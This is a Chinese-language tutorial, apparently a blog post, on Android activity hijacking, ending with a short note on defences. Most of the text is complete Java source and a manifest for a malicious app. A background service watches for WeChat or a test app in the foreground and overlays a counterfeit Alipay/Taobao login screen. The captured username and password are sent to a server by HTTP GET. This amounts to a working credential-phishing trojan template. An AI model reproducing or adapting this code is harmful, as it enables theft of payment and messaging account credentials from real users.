前言
activity劫持是指当程序运行时,恶意程序检测到前台运行的正是想要劫持的程序,于是立即启动自己的活动,伪造一个一模一样的登录界面并立马呈现给用户,普通用户无法识别这个页面的真实性,于是恶意程序就可以获取到用户输入的敏感信息并上传到自己的服务器。
activity劫持原理
1、在启动activity的时候,加入标志位FLAG_ACTIVITY_NEW_TASK,就能够使它置于栈顶并立马呈现给用户。
2、Android中程序可以枚举当前运行进程而无需声明其他权限。
3、AndroidMainfest配置文件中加入andorid:excludeFromRecent="true"这一项可以防止我们的恶意程序在最近访问列表中出现(这一项实际不影响劫持的发生,只是增加其危险性,防止被发现)
这样,我们就可以启动一个服务,不停的扫描当前运行的进程,一旦发现当前进程正是我们想要劫持的,并运行在前台,我们立马唤起自己的钓鱼活动界面并置于栈顶覆盖掉之前的活动,获得用户敏感信息并发送到服务器。
启动服务有两种实现方式,我们可以启动一个活动,通过活动去启动服务,或者在配置文件中注册一个监听开机广播的权限,然后在广播接收器中启动服务。
activity劫持实现
本文我们只实现通过活动启动服务的方式,毕竟重点是服务代码,第二种方式差别不大,文末给出的参考链接中也有相关实现代码。
1、首先我们编写MainActivity,代码如下:
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
startService(new Intent(this, HijackingService.class));
Log.i("hijacking", "activity启动劫持service");
}
}
说明:MainActivity只实现了一个功能,那就是启动HijackingService。
2、编写HijackingApplication类,代码如下:
public class HijackingApplication{
private static List<String> hijackings = new ArrayList();
public static void addProgressHijacked(String paramString){
hijackings.add(paramString);
}
public static void clearProgressHijacked(){
hijackings.clear();
}
public static boolean hasProgressBeHijacked(String paramString){
return hijackings.contains(paramString);
}
}
说明:这个类的主要功能是,保存已经劫持过的包名,防止我们多次劫持增加暴露风险。
3、编写HijackingService,代码如下:
public class HijackingService extends Service{
Handler handler = new Handler();
private boolean hasStart = false;
HashMap<String, Class<?>> mSadStories = new HashMap();
Runnable mTask = new Runnable(){
private void hijacking(String paramAnonymousString)
{
//判断是否已经劫持过,对于劫持过的程序跳过
if (!HijackingApplication.hasProgressBeHijacked(paramAnonymousString))
{
Intent localIntent = new Intent(HijackingService.this.getBaseContext(), (Class)HijackingService.this.mSadStories.get(paramAnonymousString));
localIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
HijackingService.this.getApplication().startActivity(localIntent);
HijackingApplication.addProgressHijacked(paramAnonymousString);
Log.w("hijacking", "已经成功劫持");
}
}
@Override
public void run() {
// TODO Auto-generated method stub
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();
//正在枚举进程
for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {
// 如果APP在前台
//Log.w("打印出当前的processName", appProcessInfo.processName);
if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {
//如果包含在我们需要劫持的map中
if (mSadStories.containsKey(appProcessInfo.processName)) {
Log.w("准备劫持", appProcessInfo.processName);
hijacking(appProcessInfo.processName);
} else {
//Log.w("hijacking", appProcessInfo.processName);
}
}
}
handler.postDelayed(mTask, 1000);
}
};
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
mSadStories.put("com.example.hello", AlipayStoryActivity.class); //初始化需要劫持的包名
mSadStories.put("com.tencent.mm", AlipayStoryActivity.class); //初始化需要劫持的包名
handler.postDelayed(mTask, 1000);
}
@Override
public boolean stopService(Intent name) {
hasStart = false;
Log.w("hijacking", "劫持服务停止");
HijackingApplication.clearProgressHijacked();
return super.stopService(name);
}
}
说明:这个类在启动的时候将需要劫持的包名以及其对应的恶意activity保存在map对象中,定期循环遍历进程名,如果未劫持则进行劫持,并将其保存下来。这里我们使用的是测试恶意activityAlipayStoryActivity。
4、编写恶意测试活动activityAlipayStoryActivity
public class AlipayStoryActivity extends Activity {
private EditText name;
private EditText password;
private Button mBtAlipay;
private Button mBtTaobao;
private Button mBtRegister;
private TextView mTvFindpswd;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setTheme(android.R.style.Theme_NoTitleBar);
setContentView(R.layout.alipay);
mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);
mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);
mBtRegister = (Button) findViewById(R.id.alipay_bt_register);
mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);
mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));
mBtAlipay.setSelected(true);
name = (EditText) findViewById(R.id.input_name);
password = (EditText) findViewById(R.id.input_password);
}
public void onButtonClicked(View v) {
switch (v.getId()) {
case R.id.alipay_bt_login:
HandlerThread handlerThread = new HandlerThread("send");
handlerThread.start();
new Handler(handlerThread.getLooper()).post(new Runnable() {
@Override
public void run() {
// 发送获取到的用户密码
Log.i("hijacking", name.getText().toString());
Log.i("hijacking", password.getText().toString());
Log.i("hijacking", "支付宝");
SendUtil.sendInfo(name.getText().toString(), password
.getText().toString(), "支付宝");
}
});
moveTaskToBack(true);
break;
case R.id.alipay_bt_alipay:
chooseToAlipay();
break;
case R.id.alipay_bt_taobao:
chooseToTaobao();
break;
default:
break;
}
}
private void chooseToAlipay() {
mBtAlipay.setSelected(true);
mBtTaobao.setSelected(false);
name.setHint(R.string.alipay_name_alipay_hint);
mTvFindpswd.setVisibility(View.VISIBLE);
mBtRegister.setVisibility(View.VISIBLE);
}
private void chooseToTaobao() {
mBtAlipay.setSelected(false);
mBtTaobao.setSelected(true);
name.setHint(R.string.alipay_name_taobao_hint);
mTvFindpswd.setVisibility(View.GONE);
mBtRegister.setVisibility(View.GONE);
}
}
说明:重点我们可以看点击按钮那部分,将获取到的内容调用SendUtil.sendInfo方法发送。我们在这个文件中使用了很多布局文件,大家为了测试方便,也可以自己写一个测试的登录activity
5 、编写SendUtil,代码如下:
public class SendUtil{
public static void sendInfo(String paramString1, String paramString2, String paramString3)
{
HttpClient httpClient = new DefaultHttpClient();
HttpGet httpGet = new HttpGet("http://10.0.0.33:8080/spring/test/receiver.do?a="+paramString1+"&b="+paramString2+"&c="+paramString3);
try {
HttpResponse httpResponse = httpClient.execute(httpGet);
Log.i("hijacking", httpResponse.getStatusLine().getStatusCode()+"");
} catch (ClientProtocolException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
说明:这个类需要添加两个jar包,我使用的是httpclient-
4.2
.
5
.jar,一个httpcore-
4.2
.
4
.jar
6、编写AndroidManifest.xml文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.activityhijacking"
android:versionCode="1"
android:versionName="1.0" >
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-sdk
android:minSdkVersion="19"
android:targetSdkVersion="22" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name=".MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<activity
android:name=".demo.AlipayStoryActivity"
android:label="@string/app_name" android:exported="true">
</activity>
<service android:name=".service.HijackingService" />
</application>
</manifest>
说明:这里大家注意修改自己的组件对应包名。
防护
目前,对activity劫持的防护,只能是适当给用户警示信息。一些简单的防护手段就是显示当前运行的进程提示框。
梆梆加固则是在进程切换的时候给出提示,并使用白名单过滤。